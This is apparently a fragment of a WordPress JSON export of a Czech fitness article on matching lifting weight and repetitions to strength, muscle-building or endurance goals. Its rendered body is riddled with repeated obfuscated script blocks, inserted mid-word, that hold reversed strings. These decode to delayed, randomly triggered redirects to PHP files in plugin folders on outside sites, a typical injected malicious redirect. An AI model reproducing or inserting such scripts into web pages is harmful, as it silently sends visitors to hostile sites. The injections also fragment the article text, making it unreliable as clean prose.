$NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho pak m\u016f\u017eete odvodit z\u00e1t\u011b\u017e. V\u00a0tabulce vid\u00edte, jak se m\u011bn\u00ed va\u0161e schopnost prov\u00e9st dan\u00fd po\u010det opakov\u00e1n\u00ed s\u00a0maxim\u00e1ln\u00ed mo\u017enou v\u00e1hou. U ka\u017ed\u00e9ho cviku m\u00e1te samoz\u0159ejm\u011b jin\u00e9 silov\u00e9 dispozice i jin\u00e9 vlohy k\u00a0budov\u00e1n\u00ed svalov\u00e9 hmoty. Bude <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to cht\u00edt tedy me<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>todu pokus\u016f a omyl\u016f, abyste zjistili, jak\u00e1 z\u00e1t\u011b\u017e v\u00e1m nejv\u00edce vyhovuje u dan\u00e9ho cviku.<\/p>\n<p>Zde je p\u0159\u00edklad z\u00e1t\u011b\u017e vs. opakov\u00e1n\u00ed p\u0159i bench pressu:<\/p>\n<p>&nbsp;<\/p>\n<table>\n<tbody>\n<tr>\n<td width=\"67\">Z\u00e1t\u011b\u017e:<\/td>\n<td width=\"67\">65 kg<\/td>\n<td width=\"67\">70 kg<\/td>\n<td width=\"67\">75 kg<\/td>\n<td width=\"67\">77 kg<\/td>\n<td width=\"67\">79 kg<\/td>\n<td width=\"67\">83 kg<\/td>\n<td width=\"67\">88 kg<\/td>\n<td width=\"67\">92 kg<\/td>\n<\/tr>\n<tr>\n<td width=\"67\">Opakov\u00e1n\u00ed:<\/td>\n<td width=\"67\">12<\/td>\n<td width=\"67\">10<\/td>\n<td width=\"67\">8<\/td>\n<td width=\"67\">7<\/td>\n<td width=\"67\">6<\/td>\n<td width=\"67\">4<\/td>\n<td width=\"67\">2<\/td>\n<td width=\"67\">1<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p>Jestli\u017ee m\u00e1te jasno ve sv\u00fdch c\u00edlech, pak z\u00a0t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to tabulky jasn\u011b ur\u010d\u00edte z\u00e1t\u011b\u017e:<\/p>\n<p>&#8211; kdo chce budovat s\u00edlu, nalo\u017e\u00ed si 79 kg a v\u00edce (tzn. provede \u0161est a m\u00e9n\u011b opakov\u00e1n\u00ed);<\/p>\n<p>&#8211; pro dosa\u017een\u00ed objem\u016f bude ide\u00e1ln\u00ed v\u00e1ha 65-79 kg (tzn. z\u00e1t\u011b\u017e pro 6-12 opakov\u00e1n\u00ed);<\/p>\n<p>&#8211; komu jde hlavn\u011b o vytrvalost, m\u011bl by vysta\u010dit se z\u00e1t\u011b\u017e\u00ed 55 kg a m\u00e9n\u011b.<\/p>\n<p>Mus\u00edte samoz\u0159ejm\u011b po\u010d\u00edtat s\u00a0t\u00edm, \u017ee jak va\u0161e s\u00edla poroste, bude se m\u011bnit i v\u00fdchoz\u00ed v\u00e1ha pro dan\u00fd po\u010det opakov\u00e1n\u00ed. Z\u00e1t\u011b\u017e tedy budete postupn\u011b navy\u0161ovat.<\/p>\n<p>Zku\u0161enosti a praxe povedou k\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu, \u017ee sn\u00e1ze a rychleji odhadnete svoje mo\u017enosti a l\u00e9pe poci<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u011b pozn\u00e1te, jak\u00e1 v\u00e1ha je pro v\u00e1s nejvhodn\u011bj\u0161\u00ed. Kdy\u017e si budete svoje v\u00fdkony zapisovat, z\u00edsk\u00e1te pot\u0159ebn\u00fd p\u0159ehled. Ur\u010dit\u011b d\u00e1v\u00e1 smysl v\u00e9st si tr\u00e9ninkov\u00fd den\u00edk.<\/p>\n<p>V\u017edy pamatujte na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, abyste se na za\u010d\u00e1tku tr\u00e9ninku d\u016fkladn\u011b rozcvi\u010dili, za\u0159a\u010fte zah\u0159\u00edvac\u00ed s\u00e9rie, jejich\u017e \u00fa\u010delem je proh\u0159\u00e1t svaly a klouby. Zah\u0159\u00edvac\u00ed s\u00e9rie nejsou nikdy prov\u00e1d\u011bny do vy\u010derp\u00e1n\u00ed, <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to by v\u00e1\u017en\u011b naru\u0161ilo nadch\u00e1zej\u00edc\u00ed v\u00fdkon.<\/p>\n<p>Z\u00e1t\u011b\u017e a po\u010det opakov\u00e1n\u00ed p\u0159izp\u016fsobte sv\u00fdm tr\u00e9ninkov\u00fdm c\u00edl\u016fm.<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Na sn\u00edmku:\u00a0Radim Z\u00e1bransk\u00fd, foto: Josef Adlt ve Fit Life Doubravka Plze\u0148 &nbsp; K\u00a0tomu, abyste vytvo\u0159ili podm\u00ednky ide\u00e1ln\u00ed pro n\u00e1r\u016fst svalov\u00e9 hmoty, pot\u0159ebujete pochopit vztah mezi pou\u017eitou z\u00e1t\u011b\u017e\u00ed a po\u010dtem opakov\u00e1n\u00ed, kter\u00e1 chcete prov\u00e9st. &nbsp; Za\u010d\u00e1te\u010dn\u00edky obvykle zaj\u00edm\u00e1, kter\u00fd proteinov\u00fd pr\u00e1\u0161ek je pro n\u011b nejlep\u0161\u00ed (tomuto t\u00e9matu se v\u00edce v\u011bnujeme na stran\u011b 49), a vz\u00e1p\u011bt\u00ed pokl\u00e1daj\u00ed dal\u0161\u00ed kl\u00ed\u010dovou ot\u00e1zku: Jakou z\u00e1t\u011b\u017e bych m\u011bl pou\u017e\u00edt? Odpov\u011b\u010f na takto jednodu\u0161e polo\u017een\u00fd dotaz nen\u00ed v\u016fbec snadn\u00e1. V\u00a0p\u0159\u00edpad\u011b za\u010d\u00e1te\u010dn\u00edk\u016f toti\u017e mus\u00edte vych\u00e1zet z\u00a0toho, \u017ee je t\u0159eba jednoho a\u017e dvou m\u011bs\u00edc\u016f, ne\u017e se sportovec nau\u010d\u00ed cviky spr\u00e1vn\u011b technicky prov\u00e1d\u011bt. V\u00a0tuto dobu mus\u00ed pochopiteln\u011b cvi\u010dit s\u00a0lehkou v\u00e1hou a pozornost v\u011bnovat p\u0159edev\u0161\u00edm form\u011b cviku. N\u00e1sledn\u011b p\u0159ich\u00e1z\u00ed f\u00e1ze, kde je nutn\u00e9 z\u00e1t\u011b\u017e p\u0159izp\u016fsobit tr\u00e9ninkov\u00fdm c\u00edl\u016fm. &nbsp; PODLE \u010cEHO POZN\u00c1M, \u017dE JE TO SPR\u00c1VN\u00c1 Z\u00c1T\u011a\u017d? Jako p\u0159\u00edklad pou\u017eijeme zdvihy s\u00a0velkou \u010dinkou. Nab\u00edz\u00ed se v\u00e1m n\u011bkolik mo\u017enost\u00ed: &#8211; m\u016f\u017eete si vz\u00edt pr\u00e1zdnou EZ ty\u010d a prov\u00e9st n\u011bjak\u00fdch 40 opakov\u00e1n\u00ed, nebo &#8211; na ty\u010d nalo\u017e\u00edte z\u00a0ka\u017ed\u00e9 strany 5kg kotou\u010d a opakov\u00e1n\u00ed zvl\u00e1dnete 20; &#8211; na ka\u017edou stranu d\u00e1te 10kg kotou\u010d a provedete cca 8 opakov\u00e1n\u00ed; &#8211; odcvi\u010d\u00edte jedno a\u017e dv\u011b opakov\u00e1n\u00ed se dv\u011bma\u00a020kg kotou\u010di. V\u0161echny zm\u00edn\u011bn\u00e9 mo\u017enosti budou funk\u010dn\u00ed a povedou k\u00a0vy\u010derp\u00e1n\u00ed sval\u016f, tzn. ke stavu, kdy u\u017e nebudete schopni zvl\u00e1dnout ani jedno striktn\u00ed opakov\u00e1n\u00ed. Bude to pro v\u00e1s rozhodn\u011b n\u00e1ro\u010dn\u00e9 cvi\u010den\u00ed, je ale ot\u00e1zkou, kter\u00fd z\u00a0uveden\u00fdch zp\u016fsob\u016f je pro v\u00e1s nejlep\u0161\u00ed. A zde pr\u00e1v\u011b p\u0159ich\u00e1z\u00ed ke slovu tr\u00e9ninkov\u00e9 c\u00edle. Pro budov\u00e1n\u00ed s\u00edly pot\u0159ebujete pou\u017e\u00edt vy\u0161\u0161\u00ed z\u00e1t\u011b\u017e ne\u017e pro stimulaci svalov\u00fdch objem\u016f. A jestli\u017ee chcete zapracovat hlavn\u011b na vytrvalosti, budete cvi\u010dit s\u00a0leh\u010d\u00ed v\u00e1hou ve vy\u0161\u0161\u00edm po\u010dtu opakov\u00e1n\u00ed, \u010d\u00edm\u017e ov\u0161em sn\u00ed\u017e\u00edte svoje \u0161ance na budov\u00e1n\u00ed hmoty i s\u00edly. Odborn\u00edci se vztahu mezi z\u00e1t\u011b\u017e\u00ed a po\u010dtem opakov\u00e1n\u00ed v\u011bnovali ji\u017e mnohokr\u00e1t. Do\u0161li k\u00a0n\u00e1sleduj\u00edc\u00edm zji\u0161t\u011bn\u00edm: &#8211; Pokud chcete maximalizovat s\u00edlu, m\u011bli byste zvolit z\u00e1t\u011b\u017e, se kterou zvl\u00e1dnete jedno a\u017e \u0161est opakov\u00e1n\u00ed. &#8211; Jestli\u017ee je va\u0161\u00edm c\u00edlem budov\u00e1n\u00ed svalov\u00e9 hmoty (hypertrofie), zvolte v\u00e1hu, se kterou odcvi\u010d\u00edte 6-12 opakov\u00e1n\u00ed. &#8211; Ti, kte\u0159\u00ed se zam\u011b\u0159uj\u00ed na vytrvalost (schopnost pod\u00e1vat dlouhodob\u00fd v\u00fdkon, ani\u017e by do\u0161lo k\u00a0vy\u010derp\u00e1n\u00ed), si nalo\u017e\u00ed v\u00e1hu, se kterou zvl\u00e1dnou alespo\u0148 15 opakov\u00e1n\u00ed. Je evidentn\u00ed, \u017ee po\u010dty opakov\u00e1n\u00ed se s\u00a0ohledem na c\u00edl tr\u00e9ninku li\u0161\u00ed a v\u00a0n\u00e1vaznosti na n\u011b pak i zvolen\u00e1 z\u00e1t\u011b\u017e. Pokud byste zvolili nevhodnou v\u00e1hu, jist\u011b n\u011bjak\u00fdch v\u00fdsledk\u016f dos\u00e1hnete, ale nebudou rozhodn\u011b optim\u00e1ln\u00ed. Objemov\u00fd tr\u00e9nink se st\u0159edn\u011b vysokou v\u00e1hou bezpochyby povede i k\u00a0n\u00e1r\u016fstu s\u00edly, ale nikoliv k\u00a0takov\u00e9mu, jak\u00e9ho dos\u00e1hnete c\u00edlen\u00fdm silov\u00fdm tr\u00e9ninkem. Kulturist\u00e9 jsou bezpochyby siln\u00ed, ale ne tak jako powerlifte\u0159i. K\u00a0jednotliv\u00fdm tr\u00e9ninkov\u00fdm c\u00edl\u016fm je tedy t\u0159eba p\u0159i\u0159adit spr\u00e1vn\u00fd cvi\u010debn\u00ed postup. &nbsp; KDY\u017d V\u00c1M JDE O S\u00cdLU Silov\u00ed sportovci prov\u00e1d\u011bj\u00ed jen men\u0161\u00ed po\u010det opakov\u00e1n\u00ed s\u00a0velmi vysokou z\u00e1t\u011b\u017e\u00ed. Powerlifte\u0159i a dal\u0161\u00ed sil\u00e1ci tr\u00e9nuj\u00ed tak, aby n\u00e1sledn\u011b mohli svoji s\u00edlu p\u0159edv\u00e9st na z\u00e1vodech. Jejich tr\u00e9ninky se skl\u00e1daj\u00ed prakticky pouze ze z\u00e1kladn\u00edch cvik\u016f, jako je bench press, p\u0159\u00edtahy, d\u0159epy a mrtv\u00e9 tahy. Jde tedy o cviky, p\u0159i kter\u00fdch pohyb vych\u00e1z\u00ed z\u00a0v\u00edce kloub\u016f, nap\u0159\u00edklad z\u00a0ky\u010dl\u00ed, kolen a kotn\u00edk\u016f p\u0159i d\u0159epech. T\u00edm, \u017ee aktivujete v\u011bt\u0161\u00ed mno\u017estv\u00ed sval\u016f, m\u016f\u017eete zvl\u00e1dnout vy\u0161\u0161\u00ed v\u00e1hu a n\u00e1sledn\u011b se t\u011b\u0161it na v\u00fdrazn\u011bj\u0161\u00ed anabolickou reakci. Cvi\u010den\u00ed s\u00a0vysokou z\u00e1t\u011b\u017e\u00ed aktivuje p\u0159ev\u00e1\u017en\u011b rychl\u00e1 svalov\u00e1 vl\u00e1kna, kter\u00e1 jsou v\u00a0reakci na stimul schopn\u00e1 rychleji a v\u00fdrazn\u011bji r\u016fst. Sou\u010dasn\u011b plat\u00ed, \u017ee se rychle vy\u010derpaj\u00ed, proto nejste schopni s\u00a0hodn\u011b vysokou v\u00e1hou prov\u00e9st v\u00edce opakov\u00e1n\u00ed. Jestli\u017ee tr\u00e9nujete s\u00a0c\u00edlem budovat s\u00edlu, nebudete se zam\u011b\u0159ovat na jednotliv\u00e9 svalov\u00e9 partie jako kulturist\u00e9. P\u016fjde v\u00e1m sp\u00ed\u0161e o z\u00e1kladn\u00ed cviky dopln\u011bn\u00e9 t\u011bmi, kter\u00e9 napom\u00e1haj\u00ed zv\u00fd\u0161it celkovou s\u00edlu. Intenzita takov\u00e9ho tr\u00e9ninku je velice vysok\u00e1 (intenzitu cvi\u010den\u00ed definujeme jako pou\u017e\u00edvanou v\u00e1hu d\u011bleno maximem pro jedno opakov\u00e1n\u00ed, vyjad\u0159uje se v\u00a0procentech), zat\u00edmco celkov\u00fd objem (po\u010det s\u00e9ri\u00ed n\u00e1soben\u00fd z\u00e1t\u011b\u017e\u00ed) n\u00edzk\u00fd. Odpo\u010dinkov\u00e9 pauzy mezi s\u00e9riemi jsou u z\u00e1kladn\u00edch cvik\u016f pom\u011brn\u011b dlouh\u00e9 \u2013 t\u0159i a\u017e p\u011bt minut, abyste m\u011bli mo\u017enost dostate\u010dn\u00e9 regenerace sval\u016f i nervov\u00e9ho syst\u00e9mu. Silov\u00ed sportovci nedosahuj\u00ed \u00fapln\u00e9ho vy\u010derp\u00e1n\u00ed sval\u016f, to je technika typick\u00e1 pro kulturisty. &nbsp; KDY\u017d JSOU VE H\u0158E OBJEMY Silov\u00fd tr\u00e9nink vede i k\u00a0n\u00e1r\u016fstu svalov\u00e9 hmoty, ale jeho metody neslou\u017e\u00ed k\u00a0maxim\u00e1ln\u00edmu mo\u017en\u00e9mu budov\u00e1n\u00ed objem\u016f. To vy\u017eaduje trochu jin\u00fd p\u0159\u00edstup. Mus\u00edte zvolit v\u00e1hu, se kterou zvl\u00e1dnete 6-12 opakov\u00e1n\u00ed. Jestli\u017ee odcvi\u010d\u00edte jen \u010dty\u0159i, je z\u00e1t\u011b\u017e p\u0159\u00edli\u0161 vysok\u00e1, kdy\u017e v\u00edce ne\u017e 12, mus\u00edte p\u0159idat. Nav\u00edc plat\u00ed, \u017ee cheatingov\u00e1 (tzn. ne striktn\u00ed) opakov\u00e1n\u00ed se nepo\u010d\u00edtaj\u00ed. Kdy\u017e si p\u0159i bicepsov\u00e9m zdvihu mus\u00edte pom\u00e1hat z\u00e1klonem, nebo odr\u00e1\u017e\u00edte ty\u010d p\u0159i bench pressu od hrudn\u00edku, pom\u00e1h\u00e1te si jin\u00fdmi svaly, p\u0159\u00edpadn\u011b vyu\u017e\u00edv\u00e1te hybn\u00e9 s\u00edly. A takov\u00fd postup m\u016f\u017ee budov\u00e1n\u00ed hmoty dokonce i naru\u0161it, pokud nem\u00e1te cheating pod kontrolou. Z\u00a0tohoto d\u016fvodu d\u00e1v\u00e1 smysl nau\u010dit se korektn\u00edmu proveden\u00ed cvik\u016f a v\u0161echny pohyby si dob\u0159e za\u017e\u00edt, aby se pro v\u00e1s staly samoz\u0159ejmost\u00ed. Cesta k\u00a0maxim\u00e1ln\u00edm svalov\u00fdm objem\u016fm je o volb\u011b z\u00e1t\u011b\u017ee, se kterou zvl\u00e1dnete 6-12 striktn\u00edch opakov\u00e1n\u00ed. Pokud jich bez cheatingu provedete v\u00edc, v\u00e1hu zvy\u0161te. I tento typ tr\u00e9ninku aktivuje hlavn\u011b rychl\u00e1 svalov\u00e1 vl\u00e1kna, v\u00a0tom jsou si se silov\u00fdm tr\u00e9ninkem podobn\u00e9. Nicm\u00e9n\u011b objemov\u00fd tr\u00e9nink b\u00fdv\u00e1 tzv. d\u011blen\u00fd \u2013 procvi\u010dujete v\u017edy jen n\u011bkter\u00e9 svalov\u00e9 partie, a vyu\u017e\u00edv\u00e1te p\u0159i n\u011bm i sekund\u00e1rn\u00ed cviky \u2013 tedy takov\u00e9, kter\u00e9 svaly zat\u00ed\u017e\u00ed z\u00a0v\u00edce \u00fahl\u016f a maximalizuj\u00ed jeho rozvoj. Intenzita takov\u00e9ho cvi\u010den\u00ed je ni\u017e\u0161\u00ed ne\u017e p\u0159i silov\u00e9m tr\u00e9ninku, co\u017e umo\u017en\u00ed vy\u0161\u0161\u00ed objem (v\u00edce odcvi\u010den\u00fdch s\u00e9ri\u00ed). Odpo\u010dinkov\u00e9 pauzy se pohybuj\u00ed mezi 60-90 sekundami. Dal\u0161\u00ed s\u00e9rii t\u00edm p\u00e1dem neza\u010d\u00edn\u00e1te zcela odpo\u010dinut\u00ed, ale ur\u010dit\u00fd stupe\u0148 \u00fanavy p\u0159etrv\u00e1v\u00e1. &nbsp; ZAM\u011a\u0158ENO NA VYTRVALOST Ne ka\u017ed\u00fd chce b\u00fdt mohutn\u00fd a siln\u00fd. Jsou i sportovci, kter\u00fdm jde zejm\u00e9na o funk\u010dnost sval\u016f, o jejich schopnost pod\u00e1vat dlouhodob\u00fd v\u00fdkon \u2013 t\u0159eba ub\u011bhnout marat\u00f3n. Takov\u00ed lid\u00e9 cvi\u010d\u00ed s\u00a0ni\u017e\u0161\u00ed intenzitou (relativn\u011b lehkou v\u00e1hou) a aktivuj\u00ed p\u0159ev\u00e1\u017en\u011b pomal\u00e1 svalov\u00e1 vl\u00e1kna. Jejich c\u00edlem je nav\u00fd\u0161en\u00ed aerobn\u00ed kapacity zv\u00fd\u0161en\u00edm po\u010dtu mitochondri\u00ed v\u00a0bu\u0148k\u00e1ch a n\u00e1r\u016fstem mno\u017estv\u00ed krevn\u00edch kapil\u00e1r. Nejde tedy o s\u00edlu ani objem. Tito sportovci jsou pak schopni pod\u00e1vat dlouhodob\u00e9 v\u00fdkony, ani\u017e by u nich do\u0161lo k\u00a0vy\u010derp\u00e1n\u00ed. Cvi\u010den\u00ed o n\u00edzk\u00e9 intenzit\u011b vyu\u017e\u00edv\u00e1 jin\u00e9 energetick\u00e9 cesty (aerobn\u00ed vs. anaerobn\u00ed aktivity). Ve fitku to znamen\u00e1, \u017ee si zvol\u00edte pom\u011brn\u011b lehkou z\u00e1t\u011b\u017e, se kterou provedete 15-20 opakov\u00e1n\u00ed, p\u0159\u00edpadn\u011b i v\u00edce. Takov\u00fd cvi\u010debn\u00ed stimul buduje jen velmi mal\u00e9 mno\u017estv\u00ed hmoty i s\u00edly, rychl\u00e1 svalov\u00e1 vl\u00e1kna toti\u017e nejsou nijak zvl\u00e1\u0161\u0165 aktivov\u00e1na. &nbsp; JAK UR\u010cIT KONKR\u00c9TN\u00cd Z\u00c1T\u011a\u017d V\u00e1\u0161 c\u00edl jasn\u011b ur\u010duje, kolik m\u00e1te prov\u00e9st opakov\u00e1n\u00ed a z\u00a0toho pak m\u016f\u017eete odvodit z\u00e1t\u011b\u017e. V\u00a0tabulce vid\u00edte, jak se m\u011bn\u00ed va\u0161e schopnost prov\u00e9st dan\u00fd po\u010det opakov\u00e1n\u00ed s\u00a0maxim\u00e1ln\u00ed mo\u017enou v\u00e1hou. U ka\u017ed\u00e9ho cviku m\u00e1te samoz\u0159ejm\u011b jin\u00e9 silov\u00e9 dispozice i jin\u00e9 vlohy k\u00a0budov\u00e1n\u00ed svalov\u00e9 